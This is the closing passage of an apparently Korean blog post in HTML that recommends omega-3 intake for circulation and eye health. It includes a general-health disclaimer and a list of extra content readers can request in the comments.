건강한 삶을 위한 필수 영양소입니다.</strong> 혈행 건강과 눈 건강 개선을 위해 오늘부터 오메가-3 섭취를 시작해 보세요.</p><p data-sourcepos="51:1-51:27"><strong>궁금한 점이 있다면 언제든지 질문해주세요.</strong></p><p data-sourcepos="53:1-53:80"><strong>참고:</strong> 위 정보는 일반적인 건강 정보이며, 개인의 건강 상태에 따라 다를 수 있습니다. 한 정보는 의료 전문가와 상담하시기 바랍니다.</p><p data-sourcepos="55:1-55:27"><strong> 추가 요청 시 댓글로 알려주세요.</strong></p><p data-sourcepos="57:1-57:16"><strong>원하시는 종류:</strong></p><ul data-sourcepos="58:1-62:0"> <li data-sourcepos="58:1-58:13">오메가-3 분자 구조</li> <li data-sourcepos="59:1-59:18">오메가-3가 함유된 식품 사진</li> <li data-sourcepos="60:1-60:24">오메가-3 섭취 시 주의사항 관련 </li> <li data-sourcepos="61:1-62:0">기타 (자세히 설명)</li> </ul><p data-sourcepos="63:1-63:46"><strong>참고:</strong> 저작권 문제로 인해 일부 제공이 어려울 수 있습니다.</p></div> </div></div>